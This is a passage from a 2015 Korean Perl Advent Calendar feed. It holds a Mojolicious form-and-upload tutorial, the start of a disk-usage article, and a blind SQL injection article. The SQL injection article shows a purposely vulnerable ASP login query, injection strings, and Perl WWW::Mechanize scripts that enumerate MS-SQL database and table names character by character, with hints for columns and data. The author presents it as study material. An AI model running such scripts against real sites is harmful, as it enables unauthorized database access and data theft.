또는 널리 세상을 이롭게 해보는 것은 어떨까요?
기왕이면 오픈소스로 공개해서 많은 사람들에게 도움을 준다면 금상첨화겠죠.
필요한 것은 상상력과 Perl, CPAN 뿐입니다. ;)</p>
2015-12-21T00:00:00+09:00newbcodeMojolicious - 폼 파라메터와 파일 업로드 처리http://advent.perl.kr/2015/2015-12-18.html<h2>저자</h2>
<p><a href="http://twitter.com/gypark">@gypark</a> - <a href="http://gypark.pe.kr">gypark.pe.kr</a>의 주인장.
홈페이지에 <a href="http://gypark.pe.kr/wiki/Perl">Perl에 대해 정리</a>해두는 취미가 있고, Raymundo라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p><a href="http://mojolicio.us/">Mojolicious</a>를 사용하여 웹 애플리케이션을 만들어보고 싶은데,
웹 프로그래밍에 익숙하지 않은 상태에서 막상 시작하면 막막할 때가 많습니다.
브라우저에서 폼에 입력한 값을 서버에서 받으려면 어떻게 해야 하는지, 한 번에 여러 개의
파일을 업로드하고 싶으면 어떻게 해야 하는지 같은 것들이 발목을 잡습니다.
어떤 때는 잘 되는 것 같은데 조금 수정하고 나니 제대로 값을 받지 못하곤 합니다.
공식 문서는 첫 단락에서는 덧셈을 가르치더니 두 번째 단락부터는 갑자기 미적분을
소개하는 느낌입니다.
사실 제가 저런 문제들 때문에 애를 먹곤 했던 터라, 이 기회에 간단히 정리해보겠습니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Mojolicious">CPAN의 Mojolicious 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan Mojolicious
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan Mojolicious
</pre>
<h2>간단한 폼 만들기</h2>
<p>Mojolicious에 대한 소개는 그동안 크리스마스 달력에서도 여러 번 나왔기 때문에,
모듈을 설치하고 라이트 앱을 만들어 띄우는 부분은 생략하겠습니다.</p>
<p><img src="2015-12-18-1_r.png" alt="first-page" id="first-page" />
<em>그림 1.</em> 많이 봤을 그 화면. 수학 자습서의 첫 챕터처럼... (<a href="2015-12-18-1.png">원본</a>)</p>
<p>여기에 간단한 폼을 만든 후, 이 폼을 통해 넣은 데이터를
서버 쪽에서 어떻게 받아갈 수 있는지 확인해보겠습니다.</p>
<p><code>myapp.pl</code>(또는 여러분이 앱을 생성할 때 사용한 이름) 파일의 <code>__DATA__</code> 섹션에 있는
<code>index.html.ep</code> 템플릿을 수정하여 폼을 집어넣습니다.</p>
<pre class="brush: xml;">
@@ index.html.ep
% layout 'default';
% title 'Welcome';
<h1>간단한 폼</h1>
<form action="/formtest" method="POST" enctype="multipart/form-data">
<p>
field1 - 평범한 텍스트 필드: <br/>
<input type="text" name="field1" />
</p>
<hr/>
<p>
field2 - 동일한 이름의 필드가 두 개: <br/>
<input type="text" name="field2" />
</p>
<p>
field2: <br/>
<input type="text" name="field2" />
</p>
<hr/>
<p>
checkbox - 체크박스: <br/>
<input type="checkbox" name="checkbox" value="1">1
<input type="checkbox" name="checkbox" value="2">2
<input type="checkbox" name="checkbox" value="3">3
</p>
<hr/>
<p>
file1 - 동일한 이름의 파일 업로드 필드가 세 개: <br/>
<input type="file" name="file1" />
<input type="file" name="file1" />
<input type="file" name="file1" />
</p>
<hr/>
<p>
file2 - 여러 개의 파일을 보낼 수 있는 업로드 필드: <br/>
<input type="file" name="file2" multiple/>
</p>
<p>
<input type="submit" />
</p>
</form>
</pre>
<p>이제 브라우저에서 페이지를 띄우면 <em>그림 2.</em>처럼 나옵니다.</p>
<p><img src="2015-12-18-2_r.png" alt="form-sample" id="form-sample" />
<em>그림 2.</em> 간단한 폼 샘플 (<a href="2015-12-18-2.png">원본</a>)</p>
<p>단순한 디자인을 예쁘고 멋있게 꾸미는 것은 다른 달력 기사를 참고하세요.</p>
<ul>
<li><a href="/2015/2015-12-07.html">일곱째 날: Mojolicious + Bootstrap + FontAwesome 삼종셋트</a></li>
<li><a href="/2015/2015-12-09.html">아홉째 날: Bootstrap + Bootswatch + Mojolicious::Plugin::Bootstrap3 삼종셋트</a></li>
</ul>
<p>이 폼에 사용자가 어떤 값을 채워넣고 제출 버튼을 누를 것입니다.
그 값을 서버에서 받는 여러 방법을 살펴봅시다.</p>
<p>제출 버튼을 눌렀을 때 데이터는 <code>form</code> 태그의 <code>action</code> 필드에 적힌 <code>/formtest</code>라는 URL로 전달됩니다.
그러니 그 URL에 응답할 수 있는 핸들러를 만듭니다.</p>
<pre class="brush: perl;">
post '/formtest' => sub {
my $c = shift; # $c 는 Mojolicious::Controller 객체
# 여기서 작업을 하고
return $c->redirect_to('/'); # 첫 페이지로 되돌아갈 수도 있고
#
# 또는
#
return $c->render( text => 'ok' ); # 간단한 텍스트를 응답으로 내보낼 수도 있고
#
# 또는
#
... # 기타 등등
};
</pre>
<p>이 코드에서 <strong>"여기서 작업을 하고"</strong> 부분에서 사용자가 입력한 값을 읽어야 하겠죠.</p>
<h2>간단한 텍스트 필드</h2>
<p>폼의 첫 번째 필드는 <code>field1</code>이라는 이름의 텍스트 필드입니다.
여기 들어간 값은 다음과 같이 읽을 수 있습니다.</p>
<pre class="brush: perl;">
# Mojolicious::Controller의 param() 메소드
my $value = $c->param('field1');
#
# 또는
#
# Mojo::Message::Request의 param() 메소드
my $value = $c->req->param('field1');
</pre>
<p>문자열로 반환되며, 만일 값이 없는 경우는 빈 문자열 <code>""</code>이 반환됩니다.</p>
<h2>같은 이름의 필드가 여러 개일 때</h2>
<p>폼에 <code>field2</code>라는 텍스트 필드가 두 개입니다.
각각 <code>v1</code>, <code>v2</code>라고 값을 넣고 제출할 경우 <code>param()</code> 메소드는
가장 마지막 필드의 값을 가져옵니다.</p>
<pre class="brush: perl;">
my $value = $c->param('field2'); # "v2"
</pre>
<p>같은 이름의 필드 여러 개의 값을 한 번에 가져오고 싶으면 <code>every_param()</code> 메소드를 사용합니다.
이 메소드는 항상 익명 배열 레퍼런스를 반환합니다.</p>
<pre class="brush: perl;">
my $value = $c->every_param('field2');
#
# 또는
#
my $value = $c->req->every_param('field2');
# $value = [ "v1", "v2" ]
</pre>
<p>앞에서와 마찬가지로 비어있는 필드의 값은 빈 문자열로 들어옵니다.</p>
<h2>체크박스</h2>
<p>체크박스의 경우도 <code>field2</code>와 마찬가지로, <code>param()</code> 메소드는 체크된 값들 중 가장 마지막 값만 가져옵니다.
(아무 값도 체크되어 있지 않은 경우 <code>undef</code>을 반환합니다.)
체크된 값 모두를 가져오고 싶으면 <code>every_param()</code> 메소드를 사용합니다.</p>
<pre class="brush: perl;">
my $value = $c->every_param('checkbox');
#
# 또는
#
my $value = $c->req->every_param('checkbox');
# $value = [ 2, 3 ] (예를 들어)
</pre>
<p>만일 체크된 항목이 하나도 없는 경우라면 <code>every_param()</code> 메소드는 원소가 하나도 없는
빈 배열 레퍼런스를 반환합니다.</p>
<h2>파일 업로드</h2>
<p>그 다음은 파일을 업로드하는 경우입니다.
첫 줄 세 개의 필드는 동일하게 <code>file1</code>이라는 이름의 입력 필드인데
실제로는 이런 식으로 같은 이름을 쓸 일은 별로 없을 것 같습니다.
두 번째 줄은 <code>file2</code>라는 이름의 <code>input</code> 태그에 <code>multiple</code> 속성을 주어
두 개 이상의 파일을 한꺼번에 업로드할 수 있게 했습니다.</p>
<p>필드가 하나 뿐이라면 다음과 같이 <code>Mojolicious::Controller</code>의 <code>param()</code> 메소드나
<code>Mojo::Message::Request</code>의 <code>upload()</code> 메소드(<code>param()</code>이 아닙니다)를 사용해
업로드된 파일의 정보와 내용을 가져올 수 있습니다.</p>
<pre class="brush: perl;">
my $upload = $c->param('file1');
#
# 또는
#
my $upload = $c->req->upload('file1');
</pre>
<p>이 때 반환되는 것은 <code>Mojo::Upload</code> 클래스의 객체입니다.
이 객체에는 업로드된 파일의 정보가 들어있어서, 다음과 같이 사용할 수 있습니다.</p>
<pre class="brush: perl;">
my $filename = $upload->filename; # 업로드된 파일의 이름
my $size = $upload->size; # 파일의 크기(바이트 단위)
my $bytes = $upload->slurp; # 파일의 내용 전체
$upload->move_to( 'upload/'.$filename ); # 인자로 주어진 경로에 저장
</pre>
<p>만일 업로드할 파일을 지정하지 않은 채로 제출 버튼을 눌렀다면? <code>undef</code>이나 빈 문자열이
반환되는 것이 아니라, 이 때도 엄연한 <code>Mojo::Upload</code> 객체가 반환됩니다.
이 객체의 <code>filename</code> 속성은 빈 문자열, <code>size</code> 속성은 <code>0</code>이 됩니다.</p>
<p>우리가 작성한 폼에서는 <code>file1</code>라는 이름의 필드가 세 개이므로 여기서도
<code>param()</code> 또는 <code>upload()</code> 메소드는 마지막 세 번째 필드의 값만 반환합니다.
세 필드의 정보를 다 가져오기 위해서는 컨트롤러의 <code>every_param()</code>
또는 리퀘스트의 <code>every_upload()</code> 메소드를 씁니다.
역시 익명 배열 레퍼런스를 반환하며, 이 배열의 각 원소는 <code>Mojo::Upload</code> 클래스의 객체입니다.</p>
<pre class="brush: perl;">
my $upload = $c->every_param('file1');
#
# 또는
#
my $upload = $c->req->every_upload('file1');
# $upload = [ Mojo::Upload 객체, 객체, 객체 ]
</pre>
<p><code>file2</code> 필드는 여러 개의 파일을 한꺼번에 선택할 수 있습니다.
이 경우 <code>param()</code> 또는 <code>upload()</code> 메소드는 선택된 파일들 중
가장 마지막 파일을 나타내는 <code>Mojo::Upload</code> 객체를 반환하며,
모든 파일의 정보를 가져오려면 역시 <code>every_param()</code>이나
<code>every_upload()</code> 메소드를 씁니다.
코드는 생략하겠습니다.</p>
<h2>모든 입력값을 한꺼번에 보기</h2>
<p>폼 안에 들어있는 입력 필드 각각에 대해 일일이 <code>param()</code>이나
<code>every_param()</code> 메소드를 호출하여 값을 확인하자니 불편합니다.
모든 입력값을 한 번에 확인하려면, <code>Mojo::Message::Request</code> 클래스에
있는 <code>params()</code> 메소드를 사용합니다.</p>
<pre class="brush: perl;">
my $params = $c->req->params;
</pre>
<p>이 메소드는 <code>Mojo::Parameters</code> 클래스의 객체를 반환하는데,
이 객체에는 모든 입력 필드의 이름과 그 필드에 입력된 값들이 들어가 있습니다.
이 객체도 <code>param()</code>, <code>every_param()</code> 메소드를 제공할 뿐 아니라,
그 외에 모든 입력값을 하나의 해시 또는 문자열로 구성해주는 메소드를 제공합니다.</p>
<pre class="brush: perl;">
my $hash = $c->req->params->to_hash;
# $hash = {
# field1 => 'text',
# field2 => [ 'v1', 'v2' ],
# checkbox => [ 2, 3 ],
# }
my $str = $c->req->params->to_string;
# $str = "field1=text&field2=v1&field2=v2&checkbox=2&checkbox=3"
</pre>
<p>따라서 나중에 추가적인 메소드 호출 없이 <code>$hash->{field2}->[0]</code> 등과 같이 접근하여 값을 가져올 수 있습니다.</p>
<p>다만 <strong>체크박스의 경우는 주의할 점</strong>이 있는데, 체크된 값이 두 개 이상일 경우는 위와
같이 배열 레퍼런스로 저장이 되지만, 체크된 값이 하나 뿐일 때는 그 값만 스칼라 형태로 저장이
된다는 것입니다.</p>
<pre class="brush: perl;">
# $hash = {
# field1 => 'text',
# field2 => [ 'v1', '' ], # 값이 없는 텍스트 필드의 경우는 빈 문자열
# checkbox => 3, # value가 3인 체크박스만 체크된 경우
# }
</pre>
<p>만일 체크된 항목이 하나도 없다면, 이 때는 아예 해당 입력 필드를 나타내는 키(여기서는 <code>checkbox</code>)가
저 익명 해시 안에 존재하지 않게 됩니다.
따라서 배열 레퍼런스라고 가정하고 처리하다가는 런타임 에러가 발생할 수 있으니
확인 후 처리하도록 구성해야 합니다.</p>
<h2>모든 파일 업로드 필드의 내용을 한꺼번에 보기</h2>
<p><code>Mojo::Message::Request</code> 클래스에는 (정확히는 그 부모 클래스인 <code>Mojo::Message</code> 클래스에)
<code>uploads()</code> 메소드가 있어서, 모든 파일 업로드 필드의 내용을 한꺼번에 가져올 수 있습니다.</p>
<pre class="brush: perl;">
my $uploads = $c->req->uploads;
# $uploads = [ Mojo::Upload 객체, 객체, 객체, ... ]
</pre>
<p>각 객체가 어느 업로드 필드를 통해 업로드되었는지는 객체의 <code>name</code> 속성값을 검사하면 알 수 있습니다.</p>
<h2 id="mojolicious::controllerparam">Mojolicious::Controller의 param() 메소드</h2>
<p>리퀘스트 객체를 통해 입력값을 접근할 때는 파일 업로드는 <code>upload()</code> 메소드로,
그 외 다른 입력 필드는 <code>param()</code> 메소드로 읽어와야 했는데, 컨트롤러 객체를
통해 접근할 때는 모두 <code>param()</code> 메소드를 써서 접근하였습니다.</p>
<p>추가로, 컨트롤러의 <code>param()</code> 메소드는 이 외에 라우트 핸들러에 쓰이는
플레이스홀더(placeholder) 값을 가져올 때도 쓰입니다.
아마 Mojolicious 튜토리얼 문서에서 많이 보셨을 겁니다.</p>
<pre class="brush: perl;">
get '/view/:name' => sub { # name은 placeholder 이름
my $c = shift;
my $name_value = $c->param('name'); # name에 매치된 URL 값 읽기
}
</pre>
<p>브라우저로 <code>서버주소/view/hello</code>라는 URL에 접근한다면 <code>$name_value</code>의 값은 <code>hello</code>가 됩니다.</p>
<table>
<col />
<col align="center" />
<col align="center" />
<col align="center" />
<thead>
<tr>
<th>-</th>
<th>컨트롤러의 <code>param</code></th>
<th>리퀘스트의 <code>param</code></th>
<th>리퀘스트의 <code>upload</code></th>
</tr>
</thead>
<tbody>
<tr>
<td>placeholder</td>
<td align="center">O</td>
<td align="center"> </td>
<td align="center"> </td>
</tr>
<tr>
<td>파일업로드</td>
<td align="center">O</td>
<td align="center"> </td>
<td align="center">O</td>
</tr>
<tr>
<td>GET 파라메터</td>
<td align="center">O</td>
<td align="center">O</td>
<td align="center"> </td>
</tr>
<tr>
<td>POST 파라메터</td>
<td align="center">O</td>
<td align="center">O</td>
<td align="center"> </td>
</tr>
</tbody>
</table>
<p><em>표 1.</em> 어느 메소드로 어디에 접근할 수 있는가?</p>
<h2>정리하며</h2>
<p>공식 문서가 친절하지만 아무래도 웹 프로그래밍에 익숙한 사람들을 대상으로
작성되어 있는 만큼 후반부 부터는 갑자기 난이도가 높아지는 느낌이죠.
이정도면 웹 응용 프래그래밍시 필요한 필수적인 내용을 대부분 다룬셈입니다.
아마 익숙한 분들에게는 너무도 쉬운 내용이겠지만, 저처럼 문외한이던 분들이
웹 응용을 자작할 때 참고가 되었으면 좋겠습니다.</p>
<h2>참고</h2>
<ul>
<li><a href="http://mojolicio.us/perldoc/Mojolicious/Guides/Tutorial">Mojolicious 튜토리얼</a></li>
<li><a href="http://mojolicio.us/perldoc/Mojolicious/Controller">Mojolicious::Controller 문서</a></li>
<li><a href="http://mojolicio.us/perldoc/Mojo/Message">Mojo::Message 문서</a></li>
<li><a href="http://mojolicio.us/perldoc/Mojo/Message/Request">Mojo::Message::Request 문서</a></li>
<li><a href="http://mojolicio.us/perldoc/Mojo/Upload">Mojo::Upload 문서</a></li>
<li><a href="http://mojolicio.us/perldoc/Mojo/Parameters">Mojo::Parameters 문서</a></li>
</ul>
2015-12-18T00:00:00+09:00gyparkPerl과 보안: SQL Injection, Blindhttp://advent.perl.kr/2015/2015-12-17.html<h2>저자</h2>
<p><a href="http://twitter.com/#!/vohrmana">@vohrmana</a> - 보안에 관한 연구 및 강의 진행합니다.
게임으로 영어공부 중, 무려 5년만만에 달력 쓰네요, 예랑이</p>
<h2>시작하며</h2>
<p>우리는 펄(Perl)을 이용하여 문자열을 쾌적하게 다룰 수 있는 방법을 알고 있습니다.
C만 했던 예전의 저에겐 몹시도 파격적이었죠.
시간 가는 줄 모르고 펄을 이용해 별 쓸모없는 코드들을 만들곤 했습니다.
그 중 웹 해킹 공부를 위해 만들었던 코드 하나를 소개합니다.
함께 <a href="https://en.wikipedia.org/wiki/SQL_injection">SQL 삽입(SQL injection)</a>중
<a href="https://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection">블라인드(blind) 기법</a>에 대해 알아보고
자동으로 블라인드 공격을 수행하는 툴을 간단하게 만들어 볼까 합니다.
무엇보다 SQL 삽입을 수행하기 위해 웹에 접근할 수 있는 수단이 필요합니다.
<a href="https://metacpan.org/pod/WWW::Mechanize">CPAN의 WWW::Mechanize 모듈</a>도 좋고, <a href="https://metacpan.org/pod/LWP">CPAN의 LWP 모듈</a>도 좋습니다.
당연하지만 펄과 SQL에 대한 지식이 조금은 필요합니다.
원하는 정보를 빨리 찾아내기 위한 탐색 기법이나
스레드에 대한 기법이 필요할 수도 있지만 단순함을 위해 언급하지 않습니다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/WWW::Mechanize">CPAN의 WWW::Mechanize 모듈</a></li>
</ul>
<p>직접 <a href="http://www.cpan.org/">CPAN</a>을 이용해서 설치한다면 다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ sudo cpan WWW::Mechanize
</pre>
<p>사용자 계정으로 모듈을 설치하는 방법을 정확하게 알고 있거나
<a href="http://perlbrew.pl/">perlbrew</a>를 이용해서 자신만의 Perl을 사용하고 있다면
다음 명령을 이용해서 모듈을 설치합니다.</p>
<pre class="brush: bash;">
$ cpan WWW::Mechanize
</pre>
<h2 id="sqlinjection:blind">SQL Injection: Blind</h2>
<p>SQL 삽입이란 사용자가 서버에게 전송한 데이터가 SQL 질의(query)에
삽입(injection)되어 서버 사이드에 영향을 주게 되는 공격 기법입니다.
크게 몇가지 패턴으로 나눠 보자면 다음과 같습니다.</p>
<ul>
<li>논리적 오류를 이용하는 방법</li>
<li>형변환 에러를 이용하여 서버측 메세지를 확인 하는 방법</li>
<li>2번을 사용 할 수 없을 때 사용되는 (blind 상태) 방법</li>
<li>두개 이상의 쿼리를 전달하는 방법</li>
<li>저장 및 확장 프로시저(procedure)를 이용하는 방법</li>
<li>기타, ... 등</li>
</ul>
<p>왜 하필 블라인드 기법이냐면, MASS SQL을 제외하고는 문자열이 가장 많이 들어가기 때문입니다.
단지 그 뿐입니다. ;-)</p>
<h2>여기 취약한 페이지가 있습니다!</h2>
<p>단순하게 로그인 기능만 들어있는 사이트를 대상으로 합니다.</p>
<p><img src="2015-12-17-1_r.png" alt="login" id="login" />
<em>그림 1.</em> 취약점을 가진 로그인 화면 (<a href="2015-12-17-1.png">원본</a>)</p>
<p>서버측의 코드 중 로그인을 수행하는 부분의 코드가 다음과 같다고 해보죠.
원래 이러면 안 되지만 취약점을 포함한채로 만들었습니다.
우리는 블라인드 SQL 삽입을 수행해야 하니까요! :-)</p>
<pre class="brush: sql;">
strSQL="select * from member where user_id='"&id&"' and user_pw='"&password&"'"
</pre>
<p><code>id</code>는 <code>test ' or '1'='1'--</code>으로, <code>password</code>는 <code>'blah'</code>로 SQL 삽입을 수행해볼까요?
이 경우 서버는 다음과 같은 코드를 수행할 것입니다.</p>
<pre class="brush: sql;">
strSQL="select * from member where user_id='test' or '1'='1'--' and user_pw='blah'"
</pre>
<p>좀 무섭죠? :-)</p>
<h2>데이터베이스 이름 찾기</h2>
<p>우선 데이터베이스 이름을 찾아보도록 하죠.
일반적으로 DB 이름을 출력하기 위해 <code>DB_NAME()</code>을 이용합니다.
<code>mana</code>라는 계정은 이미 존재하는 계정입니다.</p>
<pre class="brush: sql;">
strSQL="select * from member where user_id='mana' and substring(DB_NAME(),1,1)='a'--' and user_pw='blah'"
</pre>
<p><code>user_id</code> 입력 부분부터 주석처리(<code>--</code>)까지 살펴보면 <code>substring</code>을 이용해
첫 번째 글자부터 한 글자를 잘라내어 <code>a</code>와 비교하는 것을 볼 수 있습니다.
만약 첫 글자가 <code>a</code>라면 결과는 참이 되면서 <code>mana</code>라는 계정으로 로그인되겠죠?
이러한 특징을 이용해 패턴을 뽑아본 코드는 다음과 같습니다.</p>
<pre class="brush: perl;">
strSQL="select * from member where user_id='mana' and substring(DB_NAME(),$i,1)='$char'--' and user_pw='blah'"
</pre>
<p><code>$i</code>와 <code>$char</code>를 반복적으로 변경하며 사이트에 요청을 보내는 펄 코드를 작성해보죠.</p>
<pre class="brush: perl;">
#!/usr/bin/env perl
use strict;
use warnings;
use WWW::Mechanize;
my $mech = WWW::Mechanize->new();
print "=====DB_NAME====\n";
my @db_name;
my $i = 1;
my $flag;
while (1) {
local $| = 1;
$flag = 0;
for my $char ( "", 'a' .. 'z', 0 .. 9, '_' ) {
$mech->get('http://172.168.19.133/member/member_login.asp');
$mech->submit_form(
form_name => 'form',
fields => {
user_id => "mana' and substring(DB_NAME(),$i,1)='$char'--",
user_pw => 'blah'
}
);
if ( $n eq "" && $mech->content !~ /alert/ ) {
$mech->get('http://172.168.19.133/member/member_logout.asp');
$flag = 1;
last;
}
unless ( $mech->content =~ /alert/ ) {
print $n;
push @db_name, $char;
$mech->get('http://172.168.19.133/member/member_logout.asp');
$i++;
last;
}
}
last if $flag;
}
</pre>
<p>로그인 성공시 메인페이지로 리다이렉트 되며, 로그인 실패시 실패에 관련된 경고가 뜨도록 했습니다.
편의상 <a href="https://metacpan.org/pod/WWW::Mechanize">WWW::Mechanize 모듈</a>을 사용하였지만 HTTP 트래픽을 보낼수 있다면 어떤 모듈이라도 상관없습니다.
해당 코드를 실행시키면 데이터베이스 이름을 얻어 올 수 있겠죠?</p>
<h2>테이블 이름 찾기</h2>
<p>기본적으로 MS-SQL에서는 모든 테이블의 정보가 <code>sysobjects</code> 테이블에 있습니다.
데이터베이스 이름을 알아낸 것 처럼 테이블 이름을 알아내는 코드를 만들어보죠.</p>
<pre class="brush: sql;">
strSQL="select * from member where user_id='mana' and substring((select top 1 name from sysobjects where xtype='U'),1,1)='a'--' and user_pw='blah'"
</pre>
<p><code>sysobjects</code> 테이블에서 <code>xtype</code>이 <code>'U'</code>(사용자 정의 테이블)인 테이블을 대상으로
출력되어지는 가장 첫 번째 테이블의 이름을 <code>substring</code>함수를 이용해
첫 번째 문자부터 한 개의 문자를 <code>'a'</code>와 비교하는 코드입니다.
마찬가지로 패턴을 뽑아보면 다음처럼 표현할 수 있습니다.</p>
<pre class="brush: sql;">
strSQL="select * from member where user_id='mana' and substring((select top 1 name from sysobjects where xtype='U'),$i,1)='$char'--' and user_pw='blah'"
</pre>
<p>이제 우리는 테이블 이름 한 개를 얻을 수 있습니다.
하지만 아직 나머지 테이블 이름은 얻어 올 수가 없죠.
우리가 얻어온 첫 번째 테이블 명이 <code>member</code>라는 테이블이라면,
두 번째 테이블을 얻어오기 위해 패턴을 변경해야 합니다.</p>
<pre class="brush: sql;">
strSQL="select * from member where user_id='mana' and substring((select top 1 name from sysobjects where xtype='U' and name!='member'),$i,1)='$char'--' and user_pw='blah'"
</pre>
<p><code>sysobjects</code> 테이블에서 <code>member</code> 테이블을 제외시켜 출력했는데,
이 내용을 포함시켜 패턴을 뽑아보면 다음처럼 표현할 수 있습니다.</p>
<pre class="brush: sql;">
strSQL="select * from member where user_id='mana' and substring((select top 1 name from sysobjects where xtype='U' $base_query),$i,1)='$char'--' and user_pw='blah'"
</pre>
<p>이번에는 <code>$base_query</code> 부분에 찾아낸 모든 테이블 명을 제외시키는 내용이 들어갑니다.
몇 개의 테이블이 존재하는지 모르기 때문에
우선 몇 개의 테이블이 존재하는지 확인을 해야겠네요.
테이블 개수를 알아야 반복문을 만들 때 반복 횟수를 결정할 수 있겠죠?</p>
<pre class="brush: perl;">
my $cnt;
for ( $cnt = 1;; $cnt++ ) {
$mech->get('http://172.168.19.133/member/member_login.asp');
$mech->submit_form(
form_name => 'form',
fields => {
user_id => "mana' and(select count(name) from sysobjects where xtype='U')=$cnt--",
user_pw => 'blah'
}
);
unless ( $mech->content =~ /alert/ ) {
print $cnt;
$mech->get('http://172.168.19.133/member/member_logout.asp');
last;
}
}
</pre>
<p><code>count</code> 함수를 이용하여 간단하게 몇개의 테이블이 있는지 확인할 수 있습니다.
반복 횟수가 나왔으니 드디어 모든 테이블 명을 알아올 수 있습니다!</p>
<pre class="brush: perl;">
print "\n" . "=" x 20 . "\n";
print "=====TABLE_NAME====\n";
@table_name;
@all_table;
$i = 1;
$base_query = "";
for ( 1 .. $cnt ) {
while (1) {
$inner_flag = 0;
for $char ( "", 'a' .. 'z', 0 .. 9, '_' ) {
$mech->get('http://172.168.19.133/member/member_login.asp');
$mech->submit_form(
form_name => 'form',
fields => {
user_id => "mana' and substring((select top 1 name from sysobjects where xtype='U' $base_query),$i,1)='$char'--",
user_pw => 'blah'
}
);
if ( $char eq "" && $mech->content !~ /alert/ ) {
$mech->get(
'http://172.168.19.133/member/member_logout.asp');
$inner_flag = 1;
last;
}
unless ( $mech->content =~ /alert/ ) {
print $char;
push @table_name, $char;
$i++;
$outter_flag = 0;
$mech->get('http://172.168.19.133/member/member_logout.asp');
last;
}
}
if ($inner_flag) {
push @all_table, join( '', @table_name );
$base_query .= " and name!='" . join( '', @table_name ) . "' ";
print "\n";
$i = 1;
@table_name = ();
last;
}
}
}
</pre>
<p><code>$base_query</code> 변수는 반복문을 돌면서 계속 변하는 값입니다.
처음에는 <code>and name != 'table1'</code>으로 시작해 <code>and name != 'table1' and name != 'table2'</code>와
같은 식으로 계속해서 첨부되어 갱신됩니다.
나머지 내용은 데이터베이스 이름을 알아오는 이전 코드와 거의 동일합니다.</p>
<p>마지막 질의만 확인해 본다면 꽤 길겠죠?</p>
<pre class="brush: sql;">
mana' and substring((select top 1 name from sysobjects where xtype='U' and name!='table1' and name!='table2' and name!='table3' ),7,1)=''--
</pre>
<p>C나 JAVA를 알고 있다면 지금까지의 내용을 해당 언어로 작성해 보는 것을 추천드립니다.
그래야 펄을 쓰고 싶어지거든요. ;-)</p>
<h2>컬럼 이름 찾기</h2>
<p>지금까지의 코드라면 취약한 사이트의 데이터베이스와 테이블의 이름을 확보했습니다.
이제 컬럼명을 찾아내야 할 차례지만 이는 여러분의 몫입니다.
대신 만드는 방법을 간단히 귀띔해드리죠.</p>
<p>MS-SQL에서 모든 컬럼을 저장하고 있는 <code>syscolumns</code> 테이블을 이용해야 합니다.
사용자 정의 테이블의 내용만 얻어오기 위한 질의는 다음과 같습니다.</p>
<pre class="brush: sql;">
select name from syscolumns where id = ( select id from sysobjects where name='table' )
</pre>
<p>이 때 <code>table</code>에는 이전에 알아낸 테이블 이름을 넣어주면 되겠죠?
현재 제가 SQL 삽입을 테스트 하던 사이트의 경우 최종적으로 만들어진 질의는 이런 느낌입니다.</p>
<pre class="brush: sql;">
mana' and substring((select top 1 name from syscolumns where id=(select top 1 id
from sysobjects where xtype='U' and name!='zipcode' and name!='board'
and name!='dtproperties' ) and name!='address1' and name!='address2' and name!='age'
and name!='email' and name!='homepage' and name!='id' and name!='name' an
d name!='nickname' and name!='user_id' and name!='user_pw' and name!='zipcode'
),1,1)='_'--
</pre>
<p>단순한 패턴이지만 참 길게 느껴지네요.
여기까지의 내용으로 데이터베이스의 구조적인 내용들을 알아냈다면, 이제는 데이터도 추출이 가능합니다.
꼭 성공(?)하시길!!</p>
<h2>정리하며</h2>
<p>펄(Perl)의 장점인 문자열을 편하게 다룰 수 있다는 것을 보여드리고 싶었는데 잘 전달되었는지 모르겠네요.
그래도 직접 만들어 보시면 C나 JAVA와는 비교조차 할 수 없을 정도로 편하다는 것을 깨달을 수 있죠.
제가 사용한 방법이 정석은 아닙니다.
<a href="https://en.wikipedia.org/wiki/SQL_injection">SQL 삽입(SQL injection)</a>과 <a href="https://en.wikipedia.org/wiki/SQL_injection#Blind_SQL_injection">블라인드(blind) 기법</a>
및 이를 구현하는 펄 코드는 여러가지 다양한 응용 방법이 있으니
너무 기사에 보인 내용에 너무 얽매이진 말고 학문적인 내용으로만 봐주세요. :-)</p>
2015-12-17T00:00:00+09:00vohrmana디스크 정보 - 디렉토리 사용량, 디스크 남은 용량 등을 확인하기http://advent.perl.kr/2015/2015-12-16.html<h2>저자</h2>
<p><a href="http://twitter.com/gypark">@gypark</a> - <a href="http://gypark.pe.kr">gypark.pe.kr</a>의 주인장.
홈페이지에 <a href="http://gypark.pe.kr/wiki/Perl">Perl에 대해 정리</a>해두는 취미가 있고, Raymundo라는 닉을 사용하기도 한다.</p>
<h2>시작하며</h2>
<p>어떤 디렉토리의 용량, 즉 그 디렉토리 안에 있는 파일들과 서브디렉토리들이
차지하는 용량의 총합이 얼마나 될까 궁금하면 어떡해야 할까요?
<a href="http://perldoc.perl.org/File/Find.html">File::Find 모듈</a>을 사용해서 서브디렉토리를 재귀적으로
탐색하며 모든 파일들을 찾으면서, 각 파일들의 크기를 구해서 더하면 되겠죠!
아니면 <a href="http://perldoc.perl.org/functions/qx.html">qx()</a>를 사용하여 유닉스/리눅스 명령어인 <a href="http://man7.org/linux/man-pages/man1/du.1.html">du</a>를
실행한 후 출력으로 나온 문자열을 정규식을 써서 해석하면 되겠지요.</p>
<p>디스크 전체의 사용량과 남은 용량이 궁금하다면 어떡해야 할까요?
이번에도 리눅스 명령어인 <a href="http://man7.org/linux/man-pages/man1/df.1.html">df</a>를 실행해 나온 출력을 갈무리한 후
정규식을 써서 원하는 부분을 추출하면 됩니다.</p>
<p>흠...</p>
<p>전부 맘에 들지 않는다는 까다로운 사람들을 위해, 다른 방법을 알아봅시다.</p>
<h2>준비물</h2>
<p>필요한 모듈은 다음과 같습니다.</p>
<ul>
<li><a href="https://metacpan.org/pod/Filesys::DiskUsage">CPAN의 Filesys::DiskUsage 모듈</a></li>
<li><a href="https://metacpan.org/pod/Filesys::DfPortable">CPAN의 Filesys::DfPortable 모듈</a></li>
</ul>
